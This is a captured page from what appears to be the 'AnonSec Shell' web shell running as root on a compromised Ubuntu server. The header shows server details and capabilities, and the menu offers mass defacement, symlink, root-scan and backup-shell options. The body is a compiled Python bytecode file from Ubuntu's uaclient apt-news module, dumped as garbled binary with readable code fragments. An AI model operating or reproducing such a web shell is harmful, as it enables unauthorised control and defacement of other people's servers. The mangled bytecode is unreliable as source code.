AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/uaclient/__pycache__/apt_news.cpython-310.pyc
o

F��c�@s�ddlZddlZddlZddlZddlmZmZddlZddlm	Z	m
Z
mZmZddl
mZddlmZddlmZmZmZmZmZmZddlmZddlmZmZGd	d
�d
e�ZGdd�de�Zd
edefdd�Z dedeede!fdd�Z"dejdeejde!fdd�Z#dede!fdd�Z$d
ede!fdd�Z%dedee&deefdd �Z'defd!d"�Z(defd#d$�Z)dede!fd%d&�Z*defd'd(�Z+dS))�N)�List�Optional)�defaults�messages�system�util)�get_cloud_type)�UAConfig)�
BoolDataValue�
DataObject�DatetimeDataValue�Field�StringDataValue�	data_list)�state_files)�ContractExpiryStatus�get_contract_expiry_statusc@speZdZedee�dd�edee�dd�ededd�gZdddd�dee	e
dee	e
deefdd	�ZdS)
�AptNewsMessageSelectors�	codenamesF��required�clouds�proN�rrrcCs||_||_||_dS�Nr)�selfrrr�r�3/usr/lib/python3/dist-packages/uaclient/apt_news.py�__init__"s
z AptNewsMessageSelectors.__init__)
�__name__�
__module__�__qualname__r
rrr
�fieldsrr�str�boolrrrrrrs�	�
�
��rc
@sneZdZede�ededd�ededd�edee��gZddd�de	j	de
e	j	de
edeefd	d
�Z
dS)�AptNewsMessage�begin�endFr�	selectors�linesN)r'r(cCs||_||_||_||_dSr)r&r'r(r))rr&r'r(r)rrrr6s
zAptNewsMessage.__init__)rr r!r
rrrrr"�datetimerrr#rrrrrr%.s"������r%�msg�returncCs*d}|jD]	}|d�|�7}q|d7}|S)Nz#
z# {}
)r)�format)r+�result�linerrr�format_messageDs

r0�cfgr(cCsx|durdS|jdurt��d|jvrdS|jdur-t�\}}|dur&dS||jvr-dS|jdur:|j|jkr:dSdS)NT�seriesF)rr�get_platform_inforrr�is_attached)r1r(�cloud_id�failrrr�do_selectors_applyLs




r7r&r'cCsVtj�tjj�}||krdS|tjdd�}|dus||kr!|}n|}||kr)dSdS)NF�)�daysT)r*�now�timezone�utc�	timedelta)r&r'r:�one_month_after_begin�
end_to_userrr�do_dates_applydsr@�ccCst�|�ddkS)Nr�C)�unicodedata�category)rArrr�is_control_charvsrEcCs^t|j�dkr	dSt|j�dkrdS|jD]}tdd�|D��r#dSt|�dkr,dSqdS)N�F�cSsg|]}t|��qSr)rE)�.0rArrr�
<listcomp>�sz$is_message_valid.<locals>.<listcomp>�MT)�lenr)�any)r+r/rrr�is_message_validzs
�rMrcCs�|D]K}zt�|�}Wnty#}zt�d|�WYd}~qd}~wwt|�s/t�d|�qt|j|j�s=t�d|�qt	||j
�sJt�d|�q|SdS)Nzmsg failed parsing: %rzmsg not valid: %rzmsg dates don't apply: %rzmsg selectors don't apply: %r)r%�	from_dict�	Exception�logging�debugrMr@r&r'r7r()r1r�msg_dictr+�errr�select_message�s&��rTcCs@t��}tj||jtjd�}|��t�|j	�}t
j|tj
d�S)N)�destdir)�cls)�apt_pkg�Acquire�AcquireFile�apt_news_urlr�UAC_RUN_PATH�runr�	load_file�destfile�json�loadsr�DatetimeAwareJSONDecoder)r1�acq�
apt_news_file�apt_news_contentsrrr�fetch_aptnews_json�s
��rec
Cs�z,t|�}t||�dg��}t�d|�|dur%t|�}tj�|�WdStj�	�WdSt
yJ}zt�d|�tj�	�WYd}~dSd}~ww)Nrz
using msg: %rz2something went wrong while processing apt_news: %r)rerT�getrPrQr0r�apt_news_contents_file�write�deleterO)r1�	news_dictr+�msg_strrSrrr�fetch_and_process_apt_news�s��rlcCs�t|�\}}|tjkrtj�tjj|d��dS|tj	kr@t
j|}|jj
}|dur-d}n|�d�}tj�tjj||d��dS|tjkrNtj�tj�dSdS)zB
    :return: True if local news was written, False otherwise
    )�remaining_daysTN�Unknownz%d %b %Y)�expired_datermF)rr�ACTIVE_EXPIRED_SOONrrgrhr�CONTRACT_EXPIRES_SOON_APT_NEWSr-�EXPIRED_GRACE_PERIODr�!CONTRACT_EXPIRY_GRACE_PERIOD_DAYS�machine_token_file�contract_expiry_datetime�strftime�&CONTRACT_EXPIRED_GRACE_PERIOD_APT_NEWS�EXPIRED�CONTRACT_EXPIRED_APT_NEWS)r1�
expiry_statusrm�grace_period_remaining�exp_dt�
exp_dt_strrrr�local_apt_news�s6
��
�
��
�r~cCs$t|�}|st��t|�dSdSr)r~rW�initrl)r1�local_news_writtenrrr�update_apt_news�s
�r�),r*r_rPrC�typingrrrW�uaclientrrrr�uaclient.clouds.identityr�uaclient.configr	�uaclient.data_typesr
rrr
rr�uaclient.filesr�uaclient.jobs.update_messagingrrrr%r#r0r$r7r@rErM�dictrTrerlr~r�rrrr�<module>sT ��
���
���
�
'

Anon7 - 2022
AnonSec Team